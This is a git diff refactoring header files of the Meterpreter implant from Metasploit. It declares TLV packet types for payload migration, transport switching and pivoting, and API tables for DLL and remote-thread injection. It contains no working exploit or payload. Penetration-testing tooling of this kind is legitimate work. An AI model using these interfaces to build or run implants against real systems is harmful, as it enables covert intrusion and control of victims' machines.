TLV_TYPE_TRANS_SESSION_EXP = TLV_VALUE(TLV_META_TYPE_UINT, 434), ///! Represents the session expiration. - TLV_TYPE_TRANS_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 435), ///! Represents the certificate hash (for https). - TLV_TYPE_TRANS_PROXY_HOST = TLV_VALUE(TLV_META_TYPE_STRING, 436), ///! Represents the proxy host string (for http/s). - TLV_TYPE_TRANS_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 437), ///! Represents the proxy user name (for http/s). - TLV_TYPE_TRANS_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 438), ///! Represents the proxy password (for http/s). - TLV_TYPE_TRANS_RETRY_TOTAL = TLV_VALUE(TLV_META_TYPE_UINT, 439), ///! Total time (seconds) to continue retrying comms. - TLV_TYPE_TRANS_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 440), ///! Time (seconds) to wait between reconnect attempts. - TLV_TYPE_TRANS_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 441), ///! List of custom headers to send with the requests. - TLV_TYPE_TRANS_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 442), ///! A single transport grouping. - - // session/machine identification - TLV_TYPE_MACHINE_ID = TLV_VALUE(TLV_META_TYPE_STRING, 460), ///! Represents a machine identifier. - TLV_TYPE_UUID = TLV_VALUE(TLV_META_TYPE_RAW, 461), ///! Represents a UUID. - TLV_TYPE_SESSION_GUID = TLV_VALUE(TLV_META_TYPE_RAW, 462), ///! Represents a Session GUID. - - // Packet encryption - TLV_TYPE_RSA_PUB_KEY = TLV_VALUE(TLV_META_TYPE_STRING, 550), ///! Represents PEM-formatter RSA public key - TLV_TYPE_SYM_KEY_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 551), ///! Represents the type of symmetric key - TLV_TYPE_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 552), ///! Represents the symmetric key - TLV_TYPE_ENC_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 553), ///! Represents and RSA-encrypted symmetric key - - // Pivots - TLV_TYPE_PIVOT_ID = TLV_VALUE(TLV_META_TYPE_RAW, 650), ///! Represents the id of the pivot listener - TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections. - TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_VALUE(TLV_META_TYPE_UINT, 652), ///! Represents the size of the data to be staged on new connections. - TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name. - - TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. - TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. - TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value. -} TlvType; - -#ifndef QWORD -typedef unsigned __int64 QWORD; -#endif - -#define ntohq( qword ) ( (QWORD)ntohl( qword & 0xFFFFFFFF ) << 32 ) | ntohl( qword >> 32 ) -#define htonq( qword ) ntohq( qword ) - -typedef struct -{ - DWORD length; - DWORD type; -} TlvHeader; - -typedef struct -{ - TlvHeader header; - PUCHAR buffer; -} Tlv; - -typedef struct -{ - BYTE xor_key[4]; - BYTE session_guid[sizeof(GUID)]; - DWORD enc_flags; - DWORD length; - DWORD type; -} PacketHeader; - -/*! @brief Packet definition. */ -typedef struct _Packet -{ - PacketHeader header; - - PUCHAR payload; - ULONG payloadLength; - - LIST * decompressed_buffers; - - ///! @brief Flag indicating if this packet is a local (ie. non-transmittable) packet. - BOOL local; - ///! @brief Pointer to the associated packet (response/request) - struct _Packet* partner; -} Packet; - -typedef struct _DECOMPRESSED_BUFFER -{ - LPVOID buffer; - DWORD length; -} DECOMPRESSED_BUFFER; - -/*! * @brief Packet request completion notification handler function pointer type. */ -typedef DWORD (*PacketRequestCompletionRoutine)(Remote *remote, - Packet *response, LPVOID context, LPCSTR method, DWORD result); - -typedef struct _PacketRequestCompletion -{ - LPVOID context; - PacketRequestCompletionRoutine routine; - DWORD timeout; -} PacketRequestCompletion; - -/* - * Packet manipulation - */ -LINKAGE Packet *packet_create(PacketTlvType type, LPCSTR method); -LINKAGE Packet *packet_create_response(Packet *packet); -LINKAGE Packet* packet_create_group(); -LINKAGE Packet *packet_duplicate(Packet *packet); -LINKAGE VOID packet_destroy(Packet *packet); - -LINKAGE DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket); -LINKAGE DWORD packet_add_tlv_string(Packet *packet, TlvType type, LPCSTR str); -LINKAGE DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str); -LINKAGE DWORD packet_add_tlv_wstring_len(Packet *packet, TlvType type, LPCWSTR str, size_t strLength); -LINKAGE DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val); -LINKAGE DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val ); -LINKAGE DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val); -LINKAGE DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD numEntries); -LINKAGE DWORD packet_add_tlvs(Packet *packet, Tlv *entries, DWORD numEntries); -LINKAGE DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length); -LINKAGE DWORD packet_is_tlv_null_terminated(Tlv *tlv); -LINKAGE PacketTlvType packet_get_type(Packet *packet); -LINKAGE TlvMetaType packet_get_tlv_meta(Packet *packet, Tlv *tlv); -LINKAGE DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv); -LINKAGE DWORD packet_get_tlv_string(Packet *packet, TlvType type, Tlv *tlv); -LINKAGE DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type,Tlv *entry); -LINKAGE DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv); - -LINKAGE PCHAR packet_get_tlv_value_string(Packet *packet, TlvType type); -LINKAGE wchar_t* packet_get_tlv_value_wstring(Packet* packet, TlvType type); -LINKAGE UINT packet_get_tlv_value_uint(Packet *packet, TlvType type); -LINKAGE BYTE * packet_get_tlv_value_raw( Packet * packet, TlvType type ); -LINKAGE QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type); -LINKAGE BOOL packet_get_tlv_value_bool(Packet *packet, TlvType type); - -LINKAGE DWORD packet_add_exception(Packet *packet, DWORD code,PCHAR string, ...); - -LINKAGE DWORD packet_get_result(Packet *packet); - -/* - * Packet transmission - */ -LINKAGE DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response); -LINKAGE DWORD packet_transmit(Remote* remote, Packet* packet, PacketRequestCompletion* completion); -LINKAGE DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res); -LINKAGE DWORD packet_add_request_id(Packet* packet); - -/* - * Packet completion notification - */ -LINKAGE DWORD packet_add_completion_handler(LPCSTR requestId, PacketRequestCompletion *completion); -LINKAGE DWORD packet_call_completion_handlers(Remote *remote, Packet *response,LPCSTR requestId); -LINKAGE DWORD packet_remove_completion_handler(LPCSTR requestId); - -/* - * Core API - */ -LINKAGE HANDLE core_update_thread_token( Remote *remote, HANDLE token ); -LINKAGE VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName ); - -#endif +/*! + * @file core.h + * @brief Declarations of core components of the Meterpreter suite. + * @details Much of what exists in the core files is used in almost every area + * of the Meterpreter code base, and hence it's very important. Don't + * change this stuff unless you know what you're doing! + */ +#ifndef _METERPRETER_COMMON_CORE_H +#define _METERPRETER_COMMON_CORE_H + +#include "common_remote.h" +#include "common_list.h" + +/*! + * @brief Creates a new TLV value based on `actual` and `meta` values. + */ +#define TLV_VALUE(meta, actual) actual | meta +/*! + * @brief Creates a new custom TVL type. + */ +#define MAKE_CUSTOM_TLV(meta, base, actual) (TlvType)((base + actual) | meta) + +/*! + * @brief Enumeration of allowed Packet TLV types. + */ +typedef enum +{ + PACKET_TLV_TYPE_REQUEST = 0, ///< Indicates a request packet. + PACKET_TLV_TYPE_RESPONSE = 1, ///< Indicates a response packet. + PACKET_TLV_TYPE_PLAIN_REQUEST = 10, ///< Indicates a plain request packet. + PACKET_TLV_TYPE_PLAIN_RESPONSE = 11, ///< Indicates a plain response packet. +} PacketTlvType; + +/*! @brief Meta TLV argument type representing a null value. */ +#define TLV_META_TYPE_NONE (0 << 0) +/*! @brief Meta TLV argument type representing a string value. */ +#define TLV_META_TYPE_STRING (1 << 16) +/*! @brief Meta TLV argument type representing a unsigned integer value. */ +#define TLV_META_TYPE_UINT (1 << 17) +/*! @brief Meta TLV argument type representing a raw data value. */ +#define TLV_META_TYPE_RAW (1 << 18) +/*! @brief Meta TLV argument type representing a boolean value. */ +#define TLV_META_TYPE_BOOL (1 << 19) +/*! @brief Meta TLV argument type representing a quad-word value. */ +#define TLV_META_TYPE_QWORD (1 << 20) +/*! @brief Meta TLV argument type representing a compressed data value. */ +#define TLV_META_TYPE_COMPRESSED (1 << 29) +/*! @brief Meta TLV argument type representing a group value. */ +#define TLV_META_TYPE_GROUP (1 << 30) +/*! @brief Meta TLV argument type representing a nested/complex value. */ +#define TLV_META_TYPE_COMPLEX (1 << 31) +/*! @brief Meta TLV argument type representing a flag set/mask value. */ +#define TLV_META_TYPE_MASK(x) ((x) & 0xffff0000) + +/*! @brief Base value for reserved TLV definitions. */ +#define TLV_RESERVED 0 +/*! @brief Base value for TLV definitions that are part of extensions. */ +#define TLV_EXTENSIONS 20000 +/*! @brief Base value for user TLV definitions. */ +#define TLV_USER 40000 +/*! @brief Base value for temporary TLV definitions. */ +#define TLV_TEMP 60000 + +/*! + * @brief Indicates that the library in question should be stored on disk. + * @detail Some libraries can be written to disk and other libraries can't. The use of + * this flag will indicate that the library should not be written to disk and + * instead should be loaded reflectively. + */ +#define LOAD_LIBRARY_FLAG_ON_DISK (1 << 0) + +/*! + * @brief Indicates that the library in question is an extension library. + * @detail Extension libraries have \c InitServerExtension and \c DeinitServerExtension + * functions which need to be invoked. This flag indicates that the library has + * these functions and that they should be called appropriately. + */ +#define LOAD_LIBRARY_FLAG_EXTENSION (1 << 1) + +/*! + * @brief Indicates that the library in question is a library that exists locally. + * @detail Libraries can already exist on the target machine. This flag indicates that + * the library doesn't need to be uploaded, it just needs to be invoked directly + * on the local machine. + */ +#define LOAD_LIBRARY_FLAG_LOCAL (1 << 2) + +/*! @brief An indication of whether the challen is synchronous or asynchronous. */ +#define CHANNEL_FLAG_SYNCHRONOUS (1 << 0) +/*! @brief An indication of whether the content written to the channel should be compressed. */ +#define CHANNEL_FLAG_COMPRESS (1 << 1) + +/*! @brief Type definition with defines `TlvMetaType` as an double-word. */ +typedef DWORD TlvMetaType; + +/*! + * @brief Full list of recognised TLV types. + */ +typedef enum +{ + TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0), ///! Represents an undefined/arbitrary value. + TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1), ///! Represents a method/function name value. + TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2), ///! Represents a request identifier value. + TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3), ///! Represents an exception value. + TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4), ///! Represents a result value. + + // Argument basic types + TLV_TYPE_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 10), ///! Represents a string value. + TLV_TYPE_UINT = TLV_VALUE(TLV_META_TYPE_UINT, 11), ///! Represents an unsigned integer value. + TLV_TYPE_BOOL = TLV_VALUE(TLV_META_TYPE_BOOL, 12), ///! Represents a boolean value. + + // Extended types + TLV_TYPE_LENGTH = TLV_VALUE(TLV_META_TYPE_UINT, 25), ///! Represents a length (unsigned integer). + TLV_TYPE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 26), ///! Represents arbitrary data (raw). + TLV_TYPE_FLAGS = TLV_VALUE(TLV_META_TYPE_UINT, 27), ///! Represents a set of flags (unsigned integer). + + // Channel types + TLV_TYPE_CHANNEL_ID = TLV_VALUE(TLV_META_TYPE_UINT, 50), ///! Represents a channel identifier (unsigned integer). + TLV_TYPE_CHANNEL_TYPE = TLV_VALUE(TLV_META_TYPE_STRING, 51), ///! Represents a channel type (string). + TLV_TYPE_CHANNEL_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 52), ///! Represents channel data (raw). + TLV_TYPE_CHANNEL_DATA_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 53), ///! Represents a channel data group (group). + TLV_TYPE_CHANNEL_CLASS = TLV_VALUE(TLV_META_TYPE_UINT, 54), ///! Represents a channel class (unsigned integer). + TLV_TYPE_CHANNEL_PARENTID = TLV_VALUE(TLV_META_TYPE_UINT, 55), ///! Represents a channel parent identifier (unsigned integer). + + // Channel extended types + TLV_TYPE_SEEK_WHENCE = TLV_VALUE(TLV_META_TYPE_UINT, 70), + TLV_TYPE_SEEK_OFFSET = TLV_VALUE(TLV_META_TYPE_UINT, 71), + TLV_TYPE_SEEK_POS = TLV_VALUE(TLV_META_TYPE_UINT, 72), + + // Grouped identifiers + TLV_TYPE_EXCEPTION_CODE = TLV_VALUE(TLV_META_TYPE_UINT, 300), ///! Represents an exception code value (unsigned in). + TLV_TYPE_EXCEPTION_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 301), ///! Represents an exception message value (string). + + // Library loading + TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string). + TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string). + TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer). + TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer). + TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string). + TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture. + TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int). + TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int). + TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int). + TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string) + TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint). + TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string). + + // Transport switching + TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to. + TLV_TYPE_TRANS_URL = TLV_VALUE(TLV_META_TYPE_STRING, 431), ///! Represents the new URL of the transport to use. + TLV_TYPE_TRANS_UA = TLV_VALUE(TLV_META_TYPE_STRING, 432), ///! Represents the user agent (for http). + TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 433), ///! Represents the communications timeout. + TLV_TYPE_TRANS_SESSION_EXP = TLV_VALUE(TLV_META_TYPE_UINT, 434), ///! Represents the session expiration. + TLV_TYPE_TRANS_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 435), ///! Represents the certificate hash (for https). + TLV_TYPE_TRANS_PROXY_HOST = TLV_VALUE(TLV_META_TYPE_STRING, 436), ///! Represents the proxy host string (for http/s). + TLV_TYPE_TRANS_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 437), ///! Represents the proxy user name (for http/s). + TLV_TYPE_TRANS_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 438), ///! Represents the proxy password (for http/s). + TLV_TYPE_TRANS_RETRY_TOTAL = TLV_VALUE(TLV_META_TYPE_UINT, 439), ///! Total time (seconds) to continue retrying comms. + TLV_TYPE_TRANS_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 440), ///! Time (seconds) to wait between reconnect attempts. + TLV_TYPE_TRANS_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 441), ///! List of custom headers to send with the requests. + TLV_TYPE_TRANS_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 442), ///! A single transport grouping. + + // session/machine identification + TLV_TYPE_MACHINE_ID = TLV_VALUE(TLV_META_TYPE_STRING, 460), ///! Represents a machine identifier. + TLV_TYPE_UUID = TLV_VALUE(TLV_META_TYPE_RAW, 461), ///! Represents a UUID. + TLV_TYPE_SESSION_GUID = TLV_VALUE(TLV_META_TYPE_RAW, 462), ///! Represents a Session GUID. + + // Packet encryption + TLV_TYPE_RSA_PUB_KEY = TLV_VALUE(TLV_META_TYPE_STRING, 550), ///! Represents PEM-formatter RSA public key + TLV_TYPE_SYM_KEY_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 551), ///! Represents the type of symmetric key + TLV_TYPE_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 552), ///! Represents the symmetric key + TLV_TYPE_ENC_SYM_KEY = TLV_VALUE(TLV_META_TYPE_RAW, 553), ///! Represents and RSA-encrypted symmetric key + + // Pivots + TLV_TYPE_PIVOT_ID = TLV_VALUE(TLV_META_TYPE_RAW, 650), ///! Represents the id of the pivot listener + TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections. + TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_VALUE(TLV_META_TYPE_UINT, 652), ///! Represents the size of the data to be staged on new connections. + TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name. + + TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. + TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. + TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value. +} TlvType; + +#ifndef QWORD +typedef unsigned __int64 QWORD; +#endif + +#define ntohq( qword ) ( (QWORD)ntohl( qword & 0xFFFFFFFF ) << 32 ) | ntohl( qword >> 32 ) +#define htonq( qword ) ntohq( qword ) + +typedef struct +{ + DWORD length; + DWORD type; +} TlvHeader; + +typedef struct +{ + TlvHeader header; + PUCHAR buffer; +} Tlv; + +typedef struct +{ + BYTE xor_key[4]; + BYTE session_guid[sizeof(GUID)]; + DWORD enc_flags; + DWORD length; + DWORD type; +} PacketHeader; + +/*! @brief Packet definition. */ +typedef struct _Packet +{ + PacketHeader header; + + PUCHAR payload; + ULONG payloadLength; + + LIST * decompressed_buffers; + + ///! @brief Flag indicating if this packet is a local (ie. non-transmittable) packet. + BOOL local; + ///! @brief Pointer to the associated packet (response/request) + struct _Packet* partner; +} Packet; + +typedef struct _DECOMPRESSED_BUFFER +{ + LPVOID buffer; + DWORD length; +} DECOMPRESSED_BUFFER; + +/*! * @brief Packet request completion notification handler function pointer type. */ +typedef DWORD (*PacketRequestCompletionRoutine)(Remote *remote, + Packet *response, LPVOID context, LPCSTR method, DWORD result); + +typedef struct _PacketRequestCompletion +{ + LPVOID context; + PacketRequestCompletionRoutine routine; + DWORD timeout; +} PacketRequestCompletion; + +#endif diff --git a/c/meterpreter/source/common/list.h b/c/meterpreter/source/common/common_list.h old mode 100755 new mode 100644 similarity index 58% rename from c/meterpreter/source/common/list.h rename to c/meterpreter/source/common/common_list.h index 9a45f807..f741140d --- a/c/meterpreter/source/common/list.h +++ b/c/meterpreter/source/common/common_list.h @@ -1,41 +1,28 @@ -/*! - * @file list.h - * @brief Declarations for functions that operate on lists. - */ -#ifndef _METERPRETER_LIB_LIST_H -#define _METERPRETER_LIB_LIST_H - -/*! @brief Container struct for data the lives in a list. */ -typedef struct _NODE -{ - struct _NODE * next; ///< Pointer to the next node in the list. - struct _NODE * prev; ///< Pointer to the previous node in the list. - LPVOID data; ///< Reference to the data in the list node. -} NODE, *PNODE; - -/*! @brief Container structure for a list instance. */ -typedef struct _LIST -{ - NODE * start; ///< Pointer to the first node in the list. - NODE * end; ///< Pointer to the last node in the list. - DWORD count; ///< Count of elements in the list. - LOCK * lock; ///< Reference to the list's synchronisation lock. -} LIST, *PLIST; - -typedef BOOL (*PLISTENUMCALLBACK)(LPVOID pState, LPVOID pData); -typedef VOID (*PCLEARFUNC)(LPVOID pData); - -LIST * list_create(VOID); -VOID list_destroy(PLIST pList); -DWORD list_count(PLIST pList); -LPVOID list_get(PLIST pList, DWORD index); -BOOL list_clear(PLIST pList, PCLEARFUNC pFunc); -BOOL list_add(PLIST pList, LPVOID data); -BOOL list_remove(PLIST pList, LPVOID data); -BOOL list_delete(PLIST pList, DWORD index); -BOOL list_push(PLIST pList, LPVOID data); -LPVOID list_pop(PLIST pList); -LPVOID list_shift(PLIST pList); -BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState); - -#endif \ No newline at end of file +/*! + * @file list.h + * @brief Declarations for functions that operate on lists. + */ +#ifndef _METERPRETER_COMMON_LIST_H +#define _METERPRETER_COMMON_LIST_H + +/*! @brief Container struct for data the lives in a list. */ +typedef struct _NODE +{ + struct _NODE * next; ///< Pointer to the next node in the list. + struct _NODE * prev; ///< Pointer to the previous node in the list. + LPVOID data; ///< Reference to the data in the list node. +} NODE, *PNODE; + +/*! @brief Container structure for a list instance. */ +typedef struct _LIST +{ + NODE * start; ///< Pointer to the first node in the list. + NODE * end; ///< Pointer to the last node in the list. + DWORD count; ///< Count of elements in the list. + LOCK * lock; ///< Reference to the list's synchronisation lock. +} LIST, *PLIST; + +typedef BOOL (*PLISTENUMCALLBACK)(LPVOID pState, LPVOID pData); +typedef VOID (*PCLEARFUNC)(LPVOID pData); + +#endif diff --git a/c/meterpreter/source/common/common_metapi.h b/c/meterpreter/source/common/common_metapi.h new file mode 100644 index 00000000..f4ab09df --- /dev/null +++ b/c/meterpreter/source/common/common_metapi.h @@ -0,0 +1,159 @@ +/*! + * @file common_metapi.h + * @brief Declarations for the Metepreter API to be used by extensions. + */ +#ifndef _METERPRETER_COMMON_METAPI_H +#define _METERPRETER_COMMON_METAPI_H + +typedef struct _InjectApi +{ + DWORD(*dll)(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char* cpCommandLine); + DWORD(*via_apcthread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); + DWORD(*via_remotethread)(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); + DWORD(*via_remotethread_wow64)(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* pThread); +} InjectApi; + +typedef struct _ChannelApi +{ + BOOL(*exists)(Channel* channel); + BOOL(*is_interactive)(Channel* channel); + BOOLEAN(*is_flag)(Channel* channel, ULONG flag); + Channel*(*create)(DWORD identifier, DWORD flags); + Channel*(*create_datagram)(DWORD identifier, DWORD flags, DatagramChannelOps* ops); + Channel*(*create_pool)(DWORD identifier, DWORD flags, PoolChannelOps* ops); + Channel*(*create_stream)(DWORD identifier, DWORD flags, StreamChannelOps* ops); + Channel*(*find_by_id)(DWORD id); + DWORD(*close)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, ChannelCompletionRoutine* completionRoutine); + DWORD(*default_io_handler)(Channel* channel, ChannelBuffer* buffer, LPVOID context, ChannelDioMode mode, PUCHAR chunk, ULONG length, PULONG bytesXfered); + DWORD(*get_class)(Channel* channel); + DWORD(*get_id)(Channel* channel); + DWORD(*interact)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, BOOL enable, ChannelCompletionRoutine* completionRoutine); + DWORD(*open)(Remote* remote, Tlv* addend, DWORD addendLength, ChannelCompletionRoutine* completionRoutine); + DWORD(*read)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, ULONG length, ChannelCompletionRoutine* completionRoutine); + DWORD(*read_from_buffered)(Channel* channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesRead); + DWORD(*write)(Channel* channel, Remote* remote, Tlv* addend, DWORD addendLength, PUCHAR buffer, ULONG length, ChannelCompletionRoutine* completionRoutine); + DWORD(*write_to_buffered)(Channel* channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten); + DWORD(*write_to_remote)(Remote* remote, Channel* channel, PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten); + LPVOID(*get_native_io_context)(Channel* channel); + PCHAR(*get_type)(Channel* channel); + PVOID(*get_buffered_io_context)(Channel* channel); + ULONG(*get_flags)(Channel* channel); + VOID(*destroy)(Channel* channel, Packet* request); + VOID(*set_buffered_io_handler)(Channel* channel, LPVOID dioContext, DirectIoHandler dio); + VOID(*set_flags)(Channel* channel, ULONG flags); + VOID(*set_interactive)(Channel* channel, BOOL interactive); + VOID(*set_native_io_context)(Channel* channel, LPVOID context); + VOID(*set_type)(Channel* channel, PCHAR type); +} ChannelApi; + +typedef struct _LockApi +{ + LOCK* (*create)(); + VOID(*acquire)(LOCK* lock); + VOID(*destroy)(LOCK* lock); + VOID(*release)(LOCK* lock); +} LockApi; + +typedef struct _EventApi +{ + BOOL(*destroy)(EVENT* event); + BOOL(*poll)(EVENT* event, DWORD timeout); + BOOL(*signal)(EVENT* event); + EVENT*(*create)(); +} EventApi; + +typedef struct _ThreadApi +{ + BOOL(*destroy)(THREAD* thread); + BOOL(*join)(THREAD* thread); + BOOL(*kill)(THREAD* thread); + BOOL(*run)(THREAD* thread); + BOOL(*sigterm)(THREAD* thread); + THREAD*(*create)(THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3); + THREAD*(*open)(); + HANDLE(*create_remote)(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId); + HANDLE(*update_token)( Remote *remote, HANDLE token ); +} ThreadApi; + +typedef struct _DesktopApi +{ + VOID(*update)( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName ); +} DesktopApi; + +typedef struct _SchedulerApi +{ + DWORD(*initialize)(Remote* remote); + DWORD(*destroy)(); + DWORD(*insert_waitable)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy); + DWORD(*signal_waitable)(HANDLE waitable, SchedulerSignal signal); + DWORD(*waitable_thread)(THREAD* thread); +} SchedulerApi; + +typedef struct _PacketApi +{ + BOOL(*get_tlv_value_bool)(Packet* packet, TlvType type); + BYTE*(*get_tlv_value_raw)(Packet* packet, TlvType type); + DWORD(*add_completion_handler)(LPCSTR requestId, PacketRequestCompletion* completion); + DWORD(*add_exception)(Packet* packet, DWORD code, PCHAR fmt, ...); + DWORD(*add_group)(Packet* packet, TlvType type, Packet* groupPacket); + DWORD(*add_request_id)(Packet* packet); + DWORD(*add_tlv_bool)(Packet* packet, TlvType type, BOOL val); + DWORD(*add_tlv_group)(Packet* packet, TlvType type, Tlv* entries, DWORD numEntries); + DWORD(*add_tlv_qword)(Packet* packet, TlvType type, QWORD val); + DWORD(*add_tlv_raw)(Packet* packet, TlvType type, LPVOID buf, DWORD length); + DWORD(*add_tlv_string)(Packet* packet, TlvType type, LPCSTR str); + DWORD(*add_tlv_uint)(Packet* packet, TlvType type, UINT val); + DWORD(*add_tlv_wstring)(Packet* packet, TlvType type, LPCWSTR str); + DWORD(*add_tlv_wstring_len)(Packet* packet, TlvType type, LPCWSTR str, size_t strLength); + DWORD(*add_tlvs)(Packet* packet, Tlv* entries, DWORD numEntries); + DWORD(*call_completion_handlers)(Remote* remote, Packet* response, LPCSTR requestId); + DWORD(*enum_tlv)(Packet* packet, DWORD index, TlvType type, Tlv* tlv); + DWORD(*get_tlv)(Packet* packet, TlvType type, Tlv* tlv); + DWORD(*get_tlv_group_entry)(Packet* packet, Tlv* group, TlvType type, Tlv* entry); + DWORD(*get_tlv_string)(Packet* packet, TlvType type, Tlv* tlv); + DWORD(*is_tlv_null_terminated)(Tlv* tlv); + DWORD(*remove_completion_handler)(LPCSTR requestId); + DWORD(*transmit)(Remote* remote, Packet* packet, PacketRequestCompletion* completion); + DWORD(*transmit_empty_response)(Remote* remote, Packet* packet, DWORD res); + DWORD(*transmit_response)(DWORD result, Remote* remote, Packet* response); + PCHAR(*get_tlv_value_string)(Packet* packet, TlvType type); + Packet*(*create)(PacketTlvType type, LPCSTR method); + Packet*(*create_group)(); + Packet*(*create_response)(Packet* request); + PacketTlvType(*get_type)(Packet* packet); + QWORD(*get_tlv_value_qword)(Packet* packet, TlvType type); + TlvMetaType(*get_tlv_meta)(Packet* packet, Tlv* tlv); + UINT(*get_tlv_value_uint)(Packet* packet, TlvType type); + VOID(*destroy)(Packet* packet); + wchar_t*(*get_tlv_value_wstring)(Packet* packet, TlvType type); +} 